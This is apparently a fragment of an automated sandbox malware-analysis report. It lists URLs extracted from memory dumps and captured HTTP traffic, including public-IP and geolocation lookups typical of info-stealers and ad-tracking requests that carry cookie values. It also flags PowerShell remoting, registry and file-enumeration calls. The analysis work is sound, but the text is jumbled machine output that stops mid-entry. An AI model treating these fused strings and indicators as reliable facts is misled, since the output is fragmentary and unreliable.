"http://crl.microsoft.com/pki/crl/products/mictimsta-07-01.crl0zn0l0j>http://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt07-30h" - Source: "00000000-00001612.00000000.168853.1D080000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/micwinpropca2011_2011-10-19.crl0au0s0qehttp://www.microsoft.com/pkiops/certs/micwinpropca2011_2011-10-19.crt0fhttp://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt01http://www.microsoft.com/pki/docs/cps/default.htm0@$vktdr5r" - Source: "00000000-00001612.00000000.168853.1D080000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/mictimstapca_2010-07-01.crl0zn0l0j>http://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0elq6wo/>" - Source: "00000000-00001612.00000000.168853.1D080000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt01http://www.microsoft.com/pki/docs/cps/default.htm0@$vkt7" - Source: "00000000-00001612.00000000.168853.1D560000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/mictimstapca_2010-07-01.crl0zn0l0j>http://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0elq6wo/>" - Source: "00000000-00001612.00000000.168853.1D560000.00000004.mdmp") Found URL "http://crl.globalsign.net/root-r2.crl0,9iqmgvw,czcthawte," - Source: "00000000-00001612.00000001.170318.1D080000.00000004.mdmp") Found URL "http://ocsp.thawte.com0:080660(0&https://www.thawte.com/cps0700.0,&http://crl.thawte.com/thawtepca-g3.crl0verisignmpki-2-4150w!$?eglobalsign" - Source: "00000000-00001612.00000001.170318.1D080000.00000004.mdmp") Found URL "https://www.globalsign.com/repository/03,0*0(" - Source: "00000000-00001612.00000001.170318.1D080000.00000004.mdmp") Found URL "http://crl.globalsign.net/root.crl0=10/0-!http://ocsp.globalsign.com/rootr10b@dd*v" - Source: "00000000-00001612.00000001.170318.1D080000.00000004.mdmp") Found URL "http://ocsp.digicert.com0kd0b0@:http://crl4.digicert.com/digicerthighassuranceevrootca.crl0=604020*0(https://www.digicert.com/cps0yr;0" - Source: "00000000-00001612.00000001.170318.1D080000.00000004.mdmp") Found URL "http://ocsp.digicert.com0kd0b0@:http://crl3.digicert.com/digicerthighassuranceevrootca.crl0=604020*0(https://www.digicert.com/cps0bt" - Source: "00000000-00001612.00000001.170318.1D080000.00000004.mdmp") Found URL "http://g2.symcb.com0le0c0a60301%http://www.geotrust.com/resources/cps0)symantecpki-1-5690xv" - Source: "00000000-00001612.00000001.170318.1D080000.00000004.mdmp") Found URL "http://s2.symcb.com0^0\0z0r0&http://www.symauth.com/cps0(http://www.symauth.com/rpa00)0'0%http://s1.symcb.com/pca3-g5.crl0symantecpki-1-53303130f$eogtt3;lambda_methodlambda_methodlambda_methodlambda_methodcse" - Source: "00000000-00001612.00000001.170318.1D080000.00000004.mdmp") Found URL "http://crl.usertrust.com/addtrustexternalcaroot.crl05)0'0%http://ocsp.usertrust.com0ql" - Source: "00000000-00001612.00000001.170318.1D080000.00000004.mdmp") Found URL "http://s1.symcb.com/pca3-g5.crl0" - Source: "00000000-00001612.00000001.170318.1D080000.00000004.mdmp") Found URL "http://s2.symcb.com0kd0b0" - Source: "00000000-00001612.00000001.170318.1D080000.00000004.mdmp") Found URL "http://www.symauth.com/cps0(http://www.symauth.com/rpa0)symantecpki-1-53403130x" - Source: "00000000-00001612.00000001.170318.1D080000.00000004.mdmp") Found URL "https://www.verisign.com/cps04*0(0&" - Source: "00000000-00001612.00000001.170318.1D080000.00000004.mdmp") Found URL "http://crl.verisign.com/pca3.crl0root" - Source: "00000000-00001612.00000001.170318.1D080000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut2011_2011_03_22.crl0^r0p0nbhttp://www.microsoft.com/pki/certs/microoceraut2011_2011_03_22.crt0vs" - Source: "00000000-00001612.00000001.170318.1D080000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/docs/repository.htmid]2u'b=" - Source: "00000000-00001612.00000001.170318.1D080000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif0\:oj?!m5c3il" - Source: "00000000-00001612.00000001.170318.1D080000.00000004.mdmp") Found URL "http://cert.startcom.org/sfsca-crl.crl0+%http://crl.startcom.org/sfsca-crl.crl0" - Source: "00000000-00001612.00000001.170318.1D080000.00000004.mdmp") Found URL "http://cert.startcom.org/policy.pdf05)http://cert.startcom.org/intermediate.pdf0" - Source: "00000000-00001612.00000001.170318.1D080000.00000004.mdmp") Found URL "http://cert.startcom.org/policy.pdf0)startcom" - Source: "00000000-00001612.00000001.170318.1D080000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif03130$j0_b>mnhttp://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt07ya'4iy()>@6t+a6" - Source: "00000000-00001612.00000001.170318.1D080000.00000004.mdmp") Found URL "http://www.microsoft.com0'6*l1.3.6.1.4.1.311.10.1250905032048z0/^g(o-cejy" - Source: "00000000-00001612.00000001.170318.1D080000.00000004.mdmp") Found URL "http://www.microsoft.com0'6*l1.3.36.3.3.2.8.1.1.10ecdp@1.2.156.11235.1.1.2.1@eckp1.2.840.10045.3.1.1@eckp1.2.840.10045.3.1.2ecdp1.2.840.10045.3.1.6@eckp1.2.840.10045.3.1.3ecdp1.2.840.10045.3.1.7ecdp1.3.36.3.3.2.8.1.1.10@eckp@1.2.840.10045.3.1.1ecdp1.3.36.3.3.2.8.1.1.8@eckp0," - Source: "00000000-00001612.00000001.170318.1D080000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/micwinpropca2011_2011-10-19.crl0au0s0qehttp://www.microsoft.com/pkiops/certs/micwinpropca2011_2011-10-19.crt0fhttp://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0elq6wo/>" - Source: "00000000-00001612.00000001.170318.1D080000.00000004.mdmp") Found URL "https://wdcp.microsoft.com/wdcp.svc/submitreport:\programdata\microsoft\windows" - Source: "00000000-00001612.00000001.170318.1D560000.00000004.mdmp") Found URL "http://www.microsoft.com/windows1.3.6.1.4.1.311.3.3.1a+zt20170929123018.134z0washington1redmond1microsoft" - Source: "00000000-00001612.00000001.170318.1D560000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt01http://www.microsoft.com/pki/docs/cps/default.htm0@$vkt7" - Source: "00000000-00001612.00000001.170318.1D560000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/mictimstapca_2010-07-01.crl0zn0l0j>http://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0elq6wo/>" - Source: "00000000-00001612.00000001.170318.1D560000.00000004.mdmp") Found URL "http://www.microsoft.com/windowsq9" - Source: "00000000-00001612.00000001.170318.1D6C4000.00000004.mdmp") Found URL "http://www.microsoft.com/windows500610640075006c00650073005c0073006c006c002e004f007000610074002a0015345542806,7996,,0,@000000000000000000000000000000000000000000000000000000p000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000gaia5" - Source: "00000000-00001612.00000001.170318.1D6C4000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/mictimstapca_2010-07-01.crl0zn0l0j>http://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0elq6wo/>" - Source: "00000000-00001612.00000001.170318.1D70E000.00000004.mdmp") Found URL "https://go.microsoft.com/fwlink/?linkid=74409&enterprise=%ls%dhttps://go.microsoft.com/fwlink/?linkid=74408&enterprise=https://go.microsoft.com/fwlink/?linkid=37020&name=%s&threatid=%u&enterprise=%dpynetsubmitsamplesconsentspynetreportingpclient_public_commodempclient_allowadminelevationacquirepclient_noforcedreboot\?\volume" - Source: "00000000-00001612.00000001.170318.A7F08000.00000002.mdmp") Found URL "https://go.microsoft.com/fwlink/?linkid=851034&clcid=0x409&httpsigupdate_baseurlforceupdatefrommusignaturedisablenotificationcloudbasedbehaviorblockingsignaturecategoryiddisablescheduledsignatureupdateonbatterysignatureupdatecatchupintervalsignatureslastcheckednissignatureslastupdateddeltaupdatefailurenissignatureversionnissignaturelocation%mpconfig_productappdatapath%\definition" - Source: "00000000-00001612.00000001.170318.A7F08000.00000002.mdmp") Found URL "https://wdcp.microsoft.com/wdcp.svc/submitreportspynetreportinglocationlocalsettingoverridesubmitsamplesconsentdisableblockatfirstseenheartbeatdelayindaysheartbeatsamplingratessloptionsbypassinternetcheckmapslatencyretrytimeoutthreatseveritydefaultactionemptykeyvaluedisableprivacymode%mpconfig_productappdatapath%\telemetryallowuseruiaccessuilockdownnotification_suppresssuppressrebootnotificationsuppresswdonotificationmpconfig_productcodenamempconfig_productpathmpconfig_productappdatapathmpconfig_productuserappdatapathmpconfig_appdataroot12345678-f0f0-4f3f-b1f3-41cd1905616empconfig_reportingguid\msmplics.dllmpconfigut-53e7e780-2330-40c6-94c6-be75e946e933oftware\microsoft\removaltools\mrtguidfalsemp_config_type_szmp_config_type_dwordmp_config_type_multi_szmp_config_type_binarymp_config_type_nonemp_config_origin_nonemp_config_origin_defaultmp_config_origin_preferencesmp_config_origin_mdm_policymp_config_origin_policy*sof**eof*t%uh%um%uspt%uhp%udp%udt%uh2000-01-01t%02u:%02u:%02umpclient_nouseunifiedschedulingenginelocalsystem2100-01-01t00:00:00d:(a;;fa;;;sy)(a;;frfx;;;ls)maintenanceregularmicrosoft\windows\windows" - Source: "00000000-00001612.00000001.170318.A7F08000.00000002.mdmp") Found URL "http://www.validationtest.contoso.com/test%d.htmlmpoav_forcedeepscan" - Source: "00000000-00001612.00000001.170318.D16D2000.00000002.mdmp")4c:T113d,GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org GET /xml/64.124.12.162 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive GET /xml/64.124.12.162 HTTP/1.1 GET /sg/msn/1/cm?taboola_hm=222166F75FD3671F181970045E3D66DC&gdpr=0&gdpr_consent= HTTP/2 Host: trc.taboola.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36 Edg/145.0.0.0 Sec-Fetch-Mode: no-cors Sec-Fetch-Storage-Access: none Referer: https://ntp.msn.com/ Sec-Fetch-Site: cross-site Accept-Language: en-US en;q=0.9 Priority: i Accept: image/avif image/webp image/apng image/svg+xml image/* */*;q=0.8 Sec-Ch-Ua: "Not:A-Brand";v="99" "Microsoft Edge";v="145" "Chromium";v="145" Sec-Ch-Ua-Mobile: ?0 Sec-Ch-Ua-Platform: "Windows" Accept-Encoding: gzip deflate br zstd Sec-Fetch-Dest: image GET /setuid?partner=microsoftSsp&dbredirect=true&dnt=0&gdpr=0&gdpr_consent= HTTP/2 Host: px.ads.linkedin.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36 Edg/145.0.0.0 Sec-Fetch-Mode: no-cors Sec-Fetch-Storage-Access: active Referer: https://ntp.msn.com/ Sec-Fetch-Site: cross-site Accept-Language: en-US en;q=0.9 Cookie: bcookie="v=2&1391f723-91e0-4064-8cb8-08df8de6ce67" Priority: i Accept: image/avif image/webp image/apng image/svg+xml image/* */*;q=0.8 Sec-Ch-Ua: "Not:A-Brand";v="99" "Microsoft Edge";v="145" "Chromium";v="145" Sec-Ch-Ua-Mobile: ?0 Sec-Ch-Ua-Platform: "Windows" Accept-Encoding: gzip deflate br zstd Sec-Fetch-Dest: image GET /mapuid?member=280&user=222166F75FD3671F181970045E3D66DC;&gdpr=0&gdpr_consent=&redir=https%3A%2F%2Fm.adnxs.com%2Fseg%3Fadd%3D5159620%26redir%3Dhttps%253A%252F%252Fib.adnxs.com%252Fsetuid%253Fentity%253D483%2526code%253D222166F75FD3671F181970045E3D66DC%2526gdpr%253D0%2526gdpr_consent%253D HTTP/2 Host: m.adnxs.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36 Edg/145.0.0.0 Sec-Fetch-Mode: no-cors Sec-Fetch-Storage-Access: active Referer: https://ntp.msn.com/ Sec-Fetch-Site: cross-site Accept-Language: en-US en;q=0.9 Cookie: anj=dTM7k!M4.FE:2jUF']wIg2E?cq-)Cf!]tbPl1N!y*v_#NUa*CcSjN55W'8QkQrTNH>rY Priority: i Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8 Sec-Ch-Ua: "Not:A-Brand";v="99", "Microsoft Edge";v="145", "Chromium";v="145" Sec-Ch-Ua-Mobile: ?0 Sec-Ch-Ua-Platform: "Windows" X-Edge-Shopping-Flag: 1 Accept-Encoding: gzip, deflate, br, zstd Sec-Fetch-Dest: image , GET /assets/edge_hub_apps_manifest_gz/4.11.81/asset?assetgroup=Shoreline HTTP/2 Host: edgeassetservice.azureedge.net User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36 Edg/145.0.0.0 Sec-Fetch-Mode: no-cors Edge-Asset-Group: Shoreline Sec-Fetch-Site: none Accept-Language: en-US en;q=0.9 Priority: u=4 i Accept-Encoding: gzip deflate br zstd Sec-Fetch-Dest: empty GET /mouse-gesture/config.json HTTP/2 Host: edge-consumer-static.azureedge.net User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36 Edg/145.0.0.0 Sec-Fetch-Mode: no-cors Sec-Fetch-Storage-Access: active Sec-Fetch-Site: none Priority: u=4 i Accept-Encoding: gzip deflate br zstd Sec-Fetch-Dest: empty GET /crx/blobs/AXJDbcB3bcsV6gp8gPeje3RcGNJ3eqIJK3ZArzrmZgm66KMI_kiXwkouPJ_H1mUKEwkz3sgH3WqX91P8sppzYc4bmn9MHbflNecjUeea0PpDyi6PGAvEm-AFGgz7Z7D2-5EAxlKa5ZzBahtzgxEuNigzgslrK_1YzGwG/GHBMNNJOOEKPMOECNNNILNNBDLOLHKHI_1_104_1_0.crx HTTP/2 Host: clients2.googleusercontent.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36 Edg/145.0.0.0 Sec-Fetch-Mode: no-cors Sec-Fetch-Site: none Accept-Language: en-US en;q=0.9 Sec-Mesh-Client-Arch: x86_64 Sec-Mesh-Client-Os: Windows Priority: u=4 i Sec-Mesh-Client-Edge-Version: 145.0.3800.58 Sec-Mesh-Client-Edge-Channel: stable Accept-Encoding: gzip deflate br zstd Sec-Mesh-Client-Os-Version: 10.0.16299 Sec-Mesh-Client-Webview: 0 Sec-Fetch-Dest: empty 4d:T15a8,Contains base62 string in header "222166F75FD3671F181970045E3D66DC;" in header "GET /mapuid?member=280&user=222166F75FD3671F181970045E3D66DC;&gdpr=0&gdpr_consent=&redir=https%3A%2F%2Fm.adnxs.com%2Fseg%3Fadd%3D5159620%26redir%3Dhttps%253A%252F%252Fib.adnxs.com%252Fsetuid%253Fentity%253D483%2526code%253D222166F75FD3671F181970045E3D66DC%2526gdpr%253D0%2526gdpr_consent%253D HTTP/2Host: m.adnxs.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36 Edg/145.0.0.0Sec-Fetch-Mode: no-corsSec-Fetch-Storage-Access: activeReferer: https://ntp.msn.com/Sec-Fetch-Site: cross-siteAccept-Language: en-US,en;q=0.9Cookie: anj=dTM7k!M4.FE:2jUF']wIg2E?cq-)Cf!]tbPl1N!y*v_#NUa*CcSjN55W'8QkQrTNH>rYPriority: iAccept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8Sec-Ch-Ua: "Not:A-Brand";v="99", "Microsoft Edge";v="145", "Chromium";v="145"Sec-Ch-Ua-Mobile: ?0Sec-Ch-Ua-Platform: "Windows"X-Edge-Shopping-Flag: 1Accept-Encoding: gzip, deflate, br, zstdSec-Fetch-Dest: image" Contains base62 string in header "253D222166F75FD3671F181970045E3D6" in header "GET /mapuid?member=280&user=222166F75FD3671F181970045E3D66DC;&gdpr=0&gdpr_consent=&redir=https%3A%2F%2Fm.adnxs.com%2Fseg%3Fadd%3D5159620%26redir%3Dhttps%253A%252F%252Fib.adnxs.com%252Fsetuid%253Fentity%253D483%2526code%253D222166F75FD3671F181970045E3D66DC%2526gdpr%253D0%2526gdpr_consent%253D HTTP/2Host: m.adnxs.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36 Edg/145.0.0.0Sec-Fetch-Mode: no-corsSec-Fetch-Storage-Access: activeReferer: https://ntp.msn.com/Sec-Fetch-Site: cross-siteAccept-Language: en-US,en;q=0.9Cookie: anj=dTM7k!M4.FE:2jUF']wIg2E?cq-)Cf!]tbPl1N!y*v_#NUa*CcSjN55W'8QkQrTNH>rYPriority: iAccept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8Sec-Ch-Ua: "Not:A-Brand";v="99", "Microsoft Edge";v="145", "Chromium";v="145"Sec-Ch-Ua-Mobile: ?0Sec-Ch-Ua-Platform: "Windows"X-Edge-Shopping-Flag: 1Accept-Encoding: gzip, deflate, br, zstdSec-Fetch-Dest: image" Contains base62 string in header "AXJDbcB3bcsV6gp8gPeje3RcGNJ3eqIJK" in header "GET /crx/blobs/AXJDbcB3bcsV6gp8gPeje3RcGNJ3eqIJK3ZArzrmZgm66KMI_kiXwkouPJ_H1mUKEwkz3sgH3WqX91P8sppzYc4bmn9MHbflNecjUeea0PpDyi6PGAvEm-AFGgz7Z7D2-5EAxlKa5ZzBahtzgxEuNigzgslrK_1YzGwG/GHBMNNJOOEKPMOECNNNILNNBDLOLHKHI_1_104_1_0.crx HTTP/2Host: clients2.googleusercontent.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36 Edg/145.0.0.0Sec-Fetch-Mode: no-corsSec-Fetch-Site: noneAccept-Language: en-US,en;q=0.9Sec-Mesh-Client-Arch: x86_64Sec-Mesh-Client-Os: WindowsPriority: u=4, iSec-Mesh-Client-Edge-Version: 145.0.3800.58Sec-Mesh-Client-Edge-Channel: stableAccept-Encoding: gzip, deflate, br, zstdSec-Mesh-Client-Os-Version: 10.0.16299Sec-Mesh-Client-Webview: 0Sec-Fetch-Dest: empty" Contains base62 string in header "H1mUKEwkz3sgH3WqX91P8sppzYc4bmn9M" in header "GET /crx/blobs/AXJDbcB3bcsV6gp8gPeje3RcGNJ3eqIJK3ZArzrmZgm66KMI_kiXwkouPJ_H1mUKEwkz3sgH3WqX91P8sppzYc4bmn9MHbflNecjUeea0PpDyi6PGAvEm-AFGgz7Z7D2-5EAxlKa5ZzBahtzgxEuNigzgslrK_1YzGwG/GHBMNNJOOEKPMOECNNNILNNBDLOLHKHI_1_104_1_0.crx HTTP/2Host: clients2.googleusercontent.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36 Edg/145.0.0.0Sec-Fetch-Mode: no-corsSec-Fetch-Site: noneAccept-Language: en-US,en;q=0.9Sec-Mesh-Client-Arch: x86_64Sec-Mesh-Client-Os: WindowsPriority: u=4, iSec-Mesh-Client-Edge-Version: 145.0.3800.58Sec-Mesh-Client-Edge-Channel: stableAccept-Encoding: gzip, deflate, br, zstdSec-Mesh-Client-Os-Version: 10.0.16299Sec-Mesh-Client-Webview: 0Sec-Fetch-Dest: empty" Contains base62 string in header "5EAxlKa5ZzBahtzgxEuNigzgslrK_1YzG" in header "GET /crx/blobs/AXJDbcB3bcsV6gp8gPeje3RcGNJ3eqIJK3ZArzrmZgm66KMI_kiXwkouPJ_H1mUKEwkz3sgH3WqX91P8sppzYc4bmn9MHbflNecjUeea0PpDyi6PGAvEm-AFGgz7Z7D2-5EAxlKa5ZzBahtzgxEuNigzgslrK_1YzGwG/GHBMNNJOOEKPMOECNNNILNNBDLOLHKHI_1_104_1_0.crx HTTP/2Host: clients2.googleusercontent.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36 Edg/145.0.0.0Sec-Fetch-Mode: no-corsSec-Fetch-Site: noneAccept-Language: en-US,en;q=0.9Sec-Mesh-Client-Arch: x86_64Sec-Mesh-Client-Os: WindowsPriority: u=4, iSec-Mesh-Client-Edge-Version: 145.0.3800.58Sec-Mesh-Client-Edge-Channel: stableAccept-Encoding: gzip, deflate, br, zstdSec-Mesh-Client-Os-Version: 10.0.16299Sec-Mesh-Client-Webview: 0Sec-Fetch-Dest: empty" Contains base62 string in header "GHBMNNJOOEKPMOECNNNILNNBDLOLHKHI_" in header "GET /crx/blobs/AXJDbcB3bcsV6gp8gPeje3RcGNJ3eqIJK3ZArzrmZgm66KMI_kiXwkouPJ_H1mUKEwkz3sgH3WqX91P8sppzYc4bmn9MHbflNecjUeea0PpDyi6PGAvEm-AFGgz7Z7D2-5EAxlKa5ZzBahtzgxEuNigzgslrK_1YzGwG/GHBMNNJOOEKPMOECNNNILNNBDLOLHKHI_1_104_1_0.crx HTTP/2Host: clients2.googleusercontent.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36 Edg/145.0.0.0Sec-Fetch-Mode: no-corsSec-Fetch-Site: noneAccept-Language: en-US,en;q=0.9Sec-Mesh-Client-Arch: x86_64Sec-Mesh-Client-Os: WindowsPriority: u=4, iSec-Mesh-Client-Edge-Version: 145.0.3800.58Sec-Mesh-Client-Edge-Channel: stableAccept-Encoding: gzip, deflate, br, zstdSec-Mesh-Client-Os-Version: 10.0.16299Sec-Mesh-Client-Webview: 0Sec-Fetch-Dest: empty"4e:T4fa,Found HTTPS GET request to https://reallyfreegeoip.org/xml/64.124.12.162 Found HTTPS GET request to https://trc.taboola.com/sg/msn/1/cm?taboola_hm=222166F75FD3671F181970045E3D66DC&gdpr=0&gdpr_consent= Found HTTPS GET request to https://px.ads.linkedin.com/setuid?partner=microsoftSsp&dbredirect=true&dnt=0&gdpr=0&gdpr_consent= Found HTTPS GET request to https://m.adnxs.com/mapuid?member=280&user=222166F75FD3671F181970045E3D66DC;&gdpr=0&gdpr_consent=&redir=https%3A%2F%2Fm.adnxs.com%2Fseg%3Fadd%3D5159620%26redir%3Dhttps%253A%252F%252Fib.adnxs.com%252Fsetuid%253Fentity%253D483%2526code%253D222166F75FD3671F181970045E3D66DC%2526gdpr%253D0%2526gdpr_consent%253D Found HTTPS GET request to https://edgeassetservice.azureedge.net/assets/edge_hub_apps_manifest_gz/4.11.81/asset?assetgroup=Shoreline Found HTTPS POST request to https://www.googleapis.com/chromewebstore/v1.1/items/verify Found HTTPS GET request to https://edge-consumer-static.azureedge.net/mouse-gesture/config.json Found HTTPS GET request to https://clients2.googleusercontent.com/crx/blobs/AXJDbcB3bcsV6gp8gPeje3RcGNJ3eqIJK3ZArzrmZgm66KMI_kiXwkouPJ_H1mUKEwkz3sgH3WqX91P8sppzYc4bmn9MHbflNecjUeea0PpDyi6PGAvEm-AFGgz7Z7D2-5EAxlKa5ZzBahtzgxEuNigzgslrK_1YzGwG/GHBMNNJOOEKPMOECNNNILNNBDLOLHKHI_1_104_1_0.crx4f:Taaf,Found string "Exit-PSSession" (Indicator: "Exit-PSSession"; Source: "00000000-00001332.00000000.168324.4EBB0000.00000004.mdmp") Found string "New-PSSessionConfigurationFile" (Indicator: "New-PSSessionConfigurationFile"; Source: "00000000-00001332.00000000.168324.4EBB0000.00000004.mdmp") Found string "Import-PSSession" (Indicator: "Import-PSSession"; Source: "00000000-00001332.00000000.168324.4EBB0000.00000004.mdmp") Found string "Export-PSSession" (Indicator: "Export-PSSession"; Source: "00000000-00001332.00000000.168324.4EBB0000.00000004.mdmp") Found string "Connect-PSSession" (Indicator: "Connect-PSSession"; Source: "00000000-00001332.00000000.168324.4EBB0000.00000004.mdmp") Found string "Disconnect-PSSession" (Indicator: "Disconnect-PSSession"; Source: "00000000-00001332.00000000.168324.4EBB0000.00000004.mdmp") Found string "New-PSSession" (Indicator: "New-PSSession"; Source: "00000000-00001332.00000000.168324.4EBB0000.00000004.mdmp") Found string "Get-PSSession" (Indicator: "Get-PSSession"; Source: "00000000-00001332.00000000.168324.4EBB0000.00000004.mdmp") Found string "Remove-PSSession" (Indicator: "Remove-PSSession"; Source: "00000000-00001332.00000000.168324.4EBB0000.00000004.mdmp") Found string "Enter-PSSession" (Indicator: "Enter-PSSession"; Source: "00000000-00001332.00000000.168324.4EBB0000.00000004.mdmp") Found string "Receive-PSSession" (Indicator: "Receive-PSSession"; Source: "00000000-00001332.00000000.168324.4EBB0000.00000004.mdmp") Found string "Disable-PSSessionConfiguration" (Indicator: "Disable-PSSessionConfiguration"; Source: "00000000-00001332.00000000.168324.4EBB0000.00000004.mdmp") Found string "Enable-PSSessionConfiguration" (Indicator: "Enable-PSSessionConfiguration"; Source: "00000000-00001332.00000000.168324.4EBB0000.00000004.mdmp") Found string "Get-PSSessionCapability" (Indicator: "Get-PSSessionCapability"; Source: "00000000-00001332.00000000.168324.4EBB0000.00000004.mdmp") Found string "New-PSSessionOption" (Indicator: "New-PSSessionOption"; Source: "00000000-00001332.00000000.168324.4EBB0000.00000004.mdmp") Found string "Register-PSSessionConfiguration" (Indicator: "Register-PSSessionConfiguration"; Source: "00000000-00001332.00000000.168324.4EBB0000.00000004.mdmp") Found string "Set-PSSessionConfiguration" (Indicator: "Set-PSSessionConfiguration"; Source: "00000000-00001332.00000000.168324.4EBB0000.00000004.mdmp") Found string "Test-PSSessionConfigurationFile" (Indicator: "Test-PSSessionConfigurationFile"; Source: "00000000-00001332.00000000.168324.4EBB0000.00000004.mdmp") Found string "Unregister-PSSessionConfiguration" (Indicator: "Unregister-PSSessionConfiguration"; Source: "00000000-00001332.00000000.168324.4EBB0000.00000004.mdmp")50:T623,Found registry query API: "RegQueryValueExW" in "00000000-00000696.00000000.166902.2F30F000.00000002.mdmp" Found registry query API: "RegEnumValueW" in "00000000-00000696.00000000.166902.2F30F000.00000002.mdmp" Found registry query API: "RegOpenKeyExW" in "00000000-00000696.00000000.166902.2F30F000.00000002.mdmp" Found registry query API: "RegEnumKeyExW" in "00000000-00000696.00000000.166902.2F30F000.00000002.mdmp" Found registry query API: "RegQueryInfoKeyW" in "00000000-00000696.00000000.166902.2F30F000.00000002.mdmp" Found registry query API: "RegSaveKeyExW" in "00000000-00000696.00000000.166902.2F30F000.00000002.mdmp" Found registry query API: "RegGetValueW" in "00000000-00000696.00000000.166902.2F30F000.00000002.mdmp" Found registry query API: "RegOpenKeyW" in "00000000-00000696.00000000.166902.2F30F000.00000002.mdmp" Found registry query API: "RegSaveKeyW" in "00000000-00000696.00000000.166902.2F30F000.00000002.mdmp" Found registry query API: "RegEnumKeyW" in "00000000-00000696.00000000.166902.2F30F000.00000002.mdmp" Found registry query API: "NtQueryKey" in "00000000-00000696.00000000.166902.2F30F000.00000002.mdmp" Found registry query API: "RegQueryValueExW" in "00000000-00001332.00000000.168324.B501A000.00000002.mdmp" Found registry query API: "RegGetValueW" in "00000000-00001332.00000000.168324.B501A000.00000002.mdmp" Found registry query API: "RegOpenKeyExW" in "00000000-00001332.00000000.168324.B501A000.00000002.mdmp" Found registry query API: "RegEnumKeyExW" in "00000000-00001332.00000000.168324.B501A000.00000002.mdmp"51:T8de,"powershell.exe" called "FindFirstFileW" with parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoreei.dll (UID: 00000000-00001332) "powershell.exe" called "FindFirstFileW" with parameter %WINDIR%\Microsoft.NET\Framework64\\* (UID: 00000000-00001332) "powershell.exe" called "FindNextFileW" with parameter .. (UID: 00000000-00001332) "powershell.exe" called "FindNextFileW" with parameter sbscmp10.dll (UID: 00000000-00001332) "powershell.exe" called "FindNextFileW" with parameter sbscmp20_mscorwks.dll (UID: 00000000-00001332) "powershell.exe" called "FindNextFileW" with parameter sbscmp20_perfcounter.dll (UID: 00000000-00001332) "powershell.exe" called "FindNextFileW" with parameter SharedReg12.dll (UID: 00000000-00001332) "powershell.exe" called "FindNextFileW" with parameter v2.0.50727 (UID: 00000000-00001332) "powershell.exe" called "FindNextFileW" with parameter v3.0 (UID: 00000000-00001332) "powershell.exe" called "FindNextFileW" with parameter v3.5 (UID: 00000000-00001332) "powershell.exe" called "FindNextFileW" with parameter v4.0.30319 (UID: 00000000-00001332) "powershell.exe" called "FindFirstFileW" with parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\mscorlib\* (UID: 00000000-00001332) "powershell.exe" called "FindNextFileW" with parameter fe2524177eb3088c77be666722039f52 (UID: 00000000-00001332) "powershell.exe" called "FindFirstFileW" with parameter 